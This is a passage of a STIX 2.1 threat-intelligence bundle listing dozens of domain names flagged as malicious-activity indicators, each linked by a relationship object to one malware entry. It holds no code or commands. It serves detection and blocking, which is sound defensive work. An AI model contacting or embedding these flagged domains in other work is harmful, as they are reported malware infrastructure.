"indicator--4aaf0c8b-6287-4610-8d2d-abbba8b357df", "created": "2024-01-26T21:28:21.311881Z", "modified": "2024-01-26T21:28:21.311881Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='couponshops.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.311881Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bad811ae-fd5d-4be0-8f97-e4241bda521a", "created": "2024-01-26T21:28:21.312265Z", "modified": "2024-01-26T21:28:21.312265Z", "relationship_type": "indicates", "source_ref": "indicator--4aaf0c8b-6287-4610-8d2d-abbba8b357df", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6acbb96e-4f51-4258-8dfe-5123fefd5ca9", "created": "2024-01-26T21:28:21.312361Z", "modified": "2024-01-26T21:28:21.312361Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='prikol-girls.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.312361Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d89290c2-fc2d-4870-8f8c-6de187c9a88f", "created": "2024-01-26T21:28:21.312833Z", "modified": "2024-01-26T21:28:21.312833Z", "relationship_type": "indicates", "source_ref": "indicator--6acbb96e-4f51-4258-8dfe-5123fefd5ca9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b3e3cf9a-519e-4a08-85af-4b6db7c2eadd", "created": "2024-01-26T21:28:21.312931Z", "modified": "2024-01-26T21:28:21.312931Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loschismescalientes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.312931Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c99295d5-afa2-40ef-ad9e-ba955a10c8be", "created": "2024-01-26T21:28:21.313327Z", "modified": "2024-01-26T21:28:21.313327Z", "relationship_type": "indicates", "source_ref": "indicator--b3e3cf9a-519e-4a08-85af-4b6db7c2eadd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--89c17a87-4854-42a2-96fb-f39fe533b318", "created": "2024-01-26T21:28:21.313425Z", "modified": "2024-01-26T21:28:21.313425Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='transfer-rate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.313425Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f059dc5f-2913-4be5-9bef-241b7efdbfc9", "created": "2024-01-26T21:28:21.313814Z", "modified": "2024-01-26T21:28:21.313814Z", "relationship_type": "indicates", "source_ref": "indicator--89c17a87-4854-42a2-96fb-f39fe533b318", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a711c7e9-e85e-4622-b1ac-b5c93607e03c", "created": "2024-01-26T21:28:21.313911Z", "modified": "2024-01-26T21:28:21.313911Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bdaynotes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.313911Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--61c55d1a-b18e-41cc-81ff-63070d2afe6d", "created": "2024-01-26T21:28:21.314292Z", "modified": "2024-01-26T21:28:21.314292Z", "relationship_type": "indicates", "source_ref": "indicator--a711c7e9-e85e-4622-b1ac-b5c93607e03c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d0c52af7-fa30-4e0e-8a76-fb44916d5548", "created": "2024-01-26T21:28:21.314387Z", "modified": "2024-01-26T21:28:21.314387Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ad-generator.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.314387Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eea22aec-bc84-49dc-8aff-84bdf332f1af", "created": "2024-01-26T21:28:21.314777Z", "modified": "2024-01-26T21:28:21.314777Z", "relationship_type": "indicates", "source_ref": "indicator--d0c52af7-fa30-4e0e-8a76-fb44916d5548", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--705533f0-1fba-4dac-b371-6058810bca88", "created": "2024-01-26T21:28:21.314871Z", "modified": "2024-01-26T21:28:21.314871Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='politiques-infos.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.314871Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9b0ee771-43e9-4e4d-b4f0-669891859e86", "created": "2024-01-26T21:28:21.315262Z", "modified": "2024-01-26T21:28:21.315262Z", "relationship_type": "indicates", "source_ref": "indicator--705533f0-1fba-4dac-b371-6058810bca88", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2e22fab3-13db-4d9f-be6e-925e922f2bc3", "created": "2024-01-26T21:28:21.315358Z", "modified": "2024-01-26T21:28:21.315358Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='birdbathmorning.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.315358Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e876627-e50a-4894-9868-ef53478b11f0", "created": "2024-01-26T21:28:21.315748Z", "modified": "2024-01-26T21:28:21.315748Z", "relationship_type": "indicates", "source_ref": "indicator--2e22fab3-13db-4d9f-be6e-925e922f2bc3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f0cf508-2f0f-412b-ac9b-bfcb9b48daf6", "created": "2024-01-26T21:28:21.315843Z", "modified": "2024-01-26T21:28:21.315843Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectingurl.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.315843Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--35bfc78b-bca6-4c3e-a70a-416c14bbe37e", "created": "2024-01-26T21:28:21.31623Z", "modified": "2024-01-26T21:28:21.31623Z", "relationship_type": "indicates", "source_ref": "indicator--9f0cf508-2f0f-412b-ac9b-bfcb9b48daf6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f53a4d3-2c97-4058-8297-7aa0bc42cc5a", "created": "2024-01-26T21:28:21.316329Z", "modified": "2024-01-26T21:28:21.316329Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectchannel.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.316329Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ebd33956-0f48-4200-9775-3a239f06188b", "created": "2024-01-26T21:28:21.316715Z", "modified": "2024-01-26T21:28:21.316715Z", "relationship_type": "indicates", "source_ref": "indicator--3f53a4d3-2c97-4058-8297-7aa0bc42cc5a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--66dddc1a-061b-4590-b83d-103ee3cb7277", "created": "2024-01-26T21:28:21.31681Z", "modified": "2024-01-26T21:28:21.31681Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='beautifulhousesaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.31681Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8ef516ef-9879-4436-996f-64e53e1bca76", "created": "2024-01-26T21:28:21.317291Z", "modified": "2024-01-26T21:28:21.317291Z", "relationship_type": "indicates", "source_ref": "indicator--66dddc1a-061b-4590-b83d-103ee3cb7277", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--04d3827c-59a1-48f3-a989-fbf0fafb06bf", "created": "2024-01-26T21:28:21.317388Z", "modified": "2024-01-26T21:28:21.317388Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='leadersnews.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.317388Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c941002-ed58-4938-bd8b-e524941d7e40", "created": "2024-01-26T21:28:21.317776Z", "modified": "2024-01-26T21:28:21.317776Z", "relationship_type": "indicates", "source_ref": "indicator--04d3827c-59a1-48f3-a989-fbf0fafb06bf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7c500103-3cec-4139-afb0-0a51b4e13ca4", "created": "2024-01-26T21:28:21.317872Z", "modified": "2024-01-26T21:28:21.317872Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cellular-updates.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.317872Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--811cff4f-8972-4bda-bea7-3f12a4d0231b", "created": "2024-01-26T21:28:21.318263Z", "modified": "2024-01-26T21:28:21.318263Z", "relationship_type": "indicates", "source_ref": "indicator--7c500103-3cec-4139-afb0-0a51b4e13ca4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df6d77b5-0d08-43f5-ae8a-c85ef8a3f2fa", "created": "2024-01-26T21:28:21.318359Z", "modified": "2024-01-26T21:28:21.318359Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reflectextension.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.318359Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--911a9cd5-d33e-4dc6-947d-120de93b1c67", "created": "2024-01-26T21:28:21.318748Z", "modified": "2024-01-26T21:28:21.318748Z", "relationship_type": "indicates", "source_ref": "indicator--df6d77b5-0d08-43f5-ae8a-c85ef8a3f2fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--380d799e-c787-42b8-9514-5dfece30f57d", "created": "2024-01-26T21:28:21.318843Z", "modified": "2024-01-26T21:28:21.318843Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unsubscribeinhere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.318843Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--decc75c3-c1ff-4d81-a669-b490f89468fa", "created": "2024-01-26T21:28:21.319235Z", "modified": "2024-01-26T21:28:21.319235Z", "relationship_type": "indicates", "source_ref": "indicator--380d799e-c787-42b8-9514-5dfece30f57d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d2753de-df09-4534-8ea7-4d80a9a73b37", "created": "2024-01-26T21:28:21.31933Z", "modified": "2024-01-26T21:28:21.31933Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='br-hashtags.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.31933Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1664c44-689a-4f18-be50-7b7f632e0aae", "created": "2024-01-26T21:28:21.319716Z", "modified": "2024-01-26T21:28:21.319716Z", "relationship_type": "indicates", "source_ref": "indicator--4d2753de-df09-4534-8ea7-4d80a9a73b37", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4a3c9c08-b11a-4eed-9bbe-2a312ff7fbc8", "created": "2024-01-26T21:28:21.319814Z", "modified": "2024-01-26T21:28:21.319814Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='autodiscount.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.319814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c2c47bc-9090-42a1-bba2-cb34cc60887b", "created": "2024-01-26T21:28:21.320199Z", "modified": "2024-01-26T21:28:21.320199Z", "relationship_type": "indicates", "source_ref": "indicator--4a3c9c08-b11a-4eed-9bbe-2a312ff7fbc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9239d5ac-7f08-4875-9e63-37d6b1cbf77d", "created": "2024-01-26T21:28:21.320294Z", "modified": "2024-01-26T21:28:21.320294Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='winfoxflip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.320294Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec37fa33-906c-4773-9d16-737e971dafcd", "created": "2024-01-26T21:28:21.320692Z", "modified": "2024-01-26T21:28:21.320692Z", "relationship_type": "indicates", "source_ref": "indicator--9239d5ac-7f08-4875-9e63-37d6b1cbf77d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fc228303-c7a9-4518-a465-c62d81b936ab", "created": "2024-01-26T21:28:21.320792Z", "modified": "2024-01-26T21:28:21.320792Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='syncmap.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.320792Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--236bbe8e-46c8-40b4-bfbb-23d9c070eb0d", "created": "2024-01-26T21:28:21.321181Z", "modified": "2024-01-26T21:28:21.321181Z", "relationship_type": "indicates", "source_ref": "indicator--fc228303-c7a9-4518-a465-c62d81b936ab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a50b4ef0-762a-4c3d-bd02-408f5308a4a8", "created": "2024-01-26T21:28:21.32128Z", "modified": "2024-01-26T21:28:21.32128Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='computer-set.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.32128Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d776c48-15ea-494a-8490-db550baec223", "created": "2024-01-26T21:28:21.321746Z", "modified": "2024-01-26T21:28:21.321746Z", "relationship_type": "indicates", "source_ref": "indicator--a50b4ef0-762a-4c3d-bd02-408f5308a4a8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b8ef80f-6e12-4c96-971d-b60628ed402d", "created": "2024-01-26T21:28:21.321843Z", "modified": "2024-01-26T21:28:21.321843Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='openingquestion.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.321843Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d4d98ef6-45d9-4b90-bf32-9fe573eb4963", "created": "2024-01-26T21:28:21.322236Z", "modified": "2024-01-26T21:28:21.322236Z", "relationship_type": "indicates", "source_ref": "indicator--6b8ef80f-6e12-4c96-971d-b60628ed402d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e38c2700-d71c-4ad0-ac48-1301840944c6", "created": "2024-01-26T21:28:21.322332Z", "modified": "2024-01-26T21:28:21.322332Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='appsjuegos.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.322332Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d60e710b-c9f3-4496-b7b2-b859b6d48ba0", "created": "2024-01-26T21:28:21.322718Z", "modified": "2024-01-26T21:28:21.322718Z", "relationship_type": "indicates", "source_ref": "indicator--e38c2700-d71c-4ad0-ac48-1301840944c6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a204858b-b9f3-4ecf-add6-c089d79e218c", "created": "2024-01-26T21:28:21.322815Z", "modified": "2024-01-26T21:28:21.322815Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bullgame.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.322815Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--57ea3902-d80e-47f0-929a-89e5706f950e", "created": "2024-01-26T21:28:21.323198Z", "modified": "2024-01-26T21:28:21.323198Z", "relationship_type": "indicates", "source_ref": "indicator--a204858b-b9f3-4ecf-add6-c089d79e218c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c1d4366c-73a2-4c48-bcc9-7225f3d52fc1", "created": "2024-01-26T21:28:21.323296Z", "modified": "2024-01-26T21:28:21.323296Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='looking-for-two.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.323296Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b3ae17d8-62b3-40dd-bd8c-0b575b169fbf", "created": "2024-01-26T21:28:21.323688Z", "modified": "2024-01-26T21:28:21.323688Z", "relationship_type": "indicates", "source_ref": "indicator--c1d4366c-73a2-4c48-bcc9-7225f3d52fc1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--234a1323-45de-47b8-a44f-31f5991e843e", "created": "2024-01-26T21:28:21.323791Z", "modified": "2024-01-26T21:28:21.323791Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noti-hot.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.323791Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4187429c-822c-4bf8-a8c7-1ec4dc7e5370", "created": "2024-01-26T21:28:21.324181Z", "modified": "2024-01-26T21:28:21.324181Z", "relationship_type": "indicates", "source_ref": "indicator--234a1323-45de-47b8-a44f-31f5991e843e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0894af8f-274d-4792-8511-48c3dcfb67fa", "created": "2024-01-26T21:28:21.32428Z", "modified": "2024-01-26T21:28:21.32428Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='atlaslions.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.32428Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1092c1b8-fe0a-4fee-810a-4beec141d772", "created": "2024-01-26T21:28:21.324676Z", "modified": "2024-01-26T21:28:21.324676Z", "relationship_type": "indicates", "source_ref": "indicator--0894af8f-274d-4792-8511-48c3dcfb67fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b98b7622-bea8-4cde-a0ce-51c73988f051", "created": "2024-01-26T21:28:21.324772Z", "modified": "2024-01-26T21:28:21.324772Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='breaking-news.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.324772Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aeb08123-d412-4696-9cc0-14c0f8681221", "created": "2024-01-26T21:28:21.325161Z", "modified": "2024-01-26T21:28:21.325161Z", "relationship_type": "indicates", "source_ref": "indicator--b98b7622-bea8-4cde-a0ce-51c73988f051", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d13f04ea-4094-4198-8ecb-0ef35081e84a", "created": "2024-01-26T21:28:21.32526Z", "modified": "2024-01-26T21:28:21.32526Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='itsthebrowser.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.32526Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9fde4026-6f09-41bb-9fcb-a3e0f13ee1fc", "created": "2024-01-26T21:28:21.325647Z", "modified": "2024-01-26T21:28:21.325647Z", "relationship_type": "indicates", "source_ref": "indicator--d13f04ea-4094-4198-8ecb-0ef35081e84a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ce55a321-0e6b-4837-b35a-be5a182468ce", "created": "2024-01-26T21:28:21.325742Z", "modified": "2024-01-26T21:28:21.325742Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='companybreakfast.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.325742Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9271ee91-75b3-4f0e-bc74-e397259d927b", "created": "2024-01-26T21:28:21.32622Z", "modified": "2024-01-26T21:28:21.32622Z", "relationship_type": "indicates", "source_ref": "indicator--ce55a321-0e6b-4837-b35a-be5a182468ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8b2d2fb-55b6-4f3a-b57a-dd9b8d4e6a6a", "created": "2024-01-26T21:28:21.326319Z", "modified": "2024-01-26T21:28:21.326319Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trialvariable.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.326319Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9dfb9e5d-04af-42bb-b90c-2d2b9d25dd6d", "created": "2024-01-26T21:28:21.326709Z", "modified": "2024-01-26T21:28:21.326709Z", "relationship_type": "indicates", "source_ref": "indicator--a8b2d2fb-55b6-4f3a-b57a-dd9b8d4e6a6a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a30fabff-2ee6-48f8-9ee5-6f7cfeae437f", "created": "2024-01-26T21:28:21.326808Z", "modified": "2024-01-26T21:28:21.326808Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='extractsight.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.326808Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--89109926-aaa0-4ca0-aaf8-d289409b9229", "created": "2024-01-26T21:28:21.327199Z", "modified": "2024-01-26T21:28:21.327199Z", "relationship_type": "indicates", "source_ref": "indicator--a30fabff-2ee6-48f8-9ee5-6f7cfeae437f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d1e4c96e-2daa-4e8b-b842-c5f419be14d6", "created": "2024-01-26T21:28:21.327303Z", "modified": "2024-01-26T21:28:21.327303Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='music-electric.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.327303Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6de8c71c-4468-4617-95d4-75a62334a6e3", "created": "2024-01-26T21:28:21.327692Z", "modified": "2024-01-26T21:28:21.327692Z", "relationship_type": "indicates", "source_ref": "indicator--d1e4c96e-2daa-4e8b-b842-c5f419be14d6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7ee9e221-d3c8-481d-b04f-5c5b56c996fe", "created": "2024-01-26T21:28:21.327788Z", "modified": "2024-01-26T21:28:21.327788Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thebestclassicalmusic.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.327788Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9247894c-d36b-434e-acd6-bbcce259243b", "created": "2024-01-26T21:28:21.328182Z", "modified": "2024-01-26T21:28:21.328182Z", "relationship_type": "indicates", "source_ref": "indicator--7ee9e221-d3c8-481d-b04f-5c5b56c996fe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fcd6d1f9-8152-47b8-9f59-9458edd82d38", "created": "2024-01-26T21:28:21.328279Z", "modified": "2024-01-26T21:28:21.328279Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='khilafah-islamic.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.328279Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--361fc225-20e2-43dd-9574-22982f6a5dc5", "created": "2024-01-26T21:28:21.328672Z", "modified": "2024-01-26T21:28:21.328672Z", "relationship_type": "indicates", "source_ref": "indicator--fcd6d1f9-8152-47b8-9f59-9458edd82d38", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8645e14c-c2b1-44ba-9aef-11f294226c03", "created": "2024-01-26T21:28:21.328768Z", "modified": "2024-01-26T21:28:21.328768Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='y0utube.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.328768Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ee5ab37a-4c4b-47c6-b478-3361fbbcddb0", "created": "2024-01-26T21:28:21.329159Z", "modified": "2024-01-26T21:28:21.329159Z", "relationship_type": "indicates", "source_ref": "indicator--8645e14c-c2b1-44ba-9aef-11f294226c03", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e3c7c999-e62d-4096-b5b3-3c12733a288c", "created": "2024-01-26T21:28:21.329259Z", "modified": "2024-01-26T21:28:21.329259Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sms-sending.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.329259Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--68018cb5-0bed-4782-bf0a-4987a8beafe7", "created": "2024-01-26T21:28:21.329646Z", "modified": "2024-01-26T21:28:21.329646Z", "relationship_type": "indicates", "source_ref": "indicator--e3c7c999-e62d-4096-b5b3-3c12733a288c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e3313567-6d7b-4183-904b-a30b0b9967a5", "created": "2024-01-26T21:28:21.329742Z", "modified": "2024-01-26T21:28:21.329742Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='secretgirlfriend.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.329742Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--85d4e908-db85-492e-841d-3e6916d2d8c4", "created": "2024-01-26T21:28:21.330129Z", "modified": "2024-01-26T21:28:21.330129Z", "relationship_type": "indicates", "source_ref": "indicator--e3313567-6d7b-4183-904b-a30b0b9967a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ca7d1599-2117-4744-9901-a829f36670f1", "created": "2024-01-26T21:28:21.330225Z", "modified": "2024-01-26T21:28:21.330225Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='autoredirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.330225Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4af9dc1a-c85a-4798-88ef-90278722ef1f", "created": "2024-01-26T21:28:21.330687Z", "modified": "2024-01-26T21:28:21.330687Z", "relationship_type": "indicates", "source_ref": "indicator--ca7d1599-2117-4744-9901-a829f36670f1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c4666fef-b655-4b49-a432-ed97b80bd604", "created": "2024-01-26T21:28:21.330787Z", "modified": "2024-01-26T21:28:21.330787Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='results-house.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.330787Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--643df214-e1d4-4c02-8c75-3049e53ca876", "created": "2024-01-26T21:28:21.331182Z", "modified": "2024-01-26T21:28:21.331182Z", "relationship_type": "indicates", "source_ref": "indicator--c4666fef-b655-4b49-a432-ed97b80bd604", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 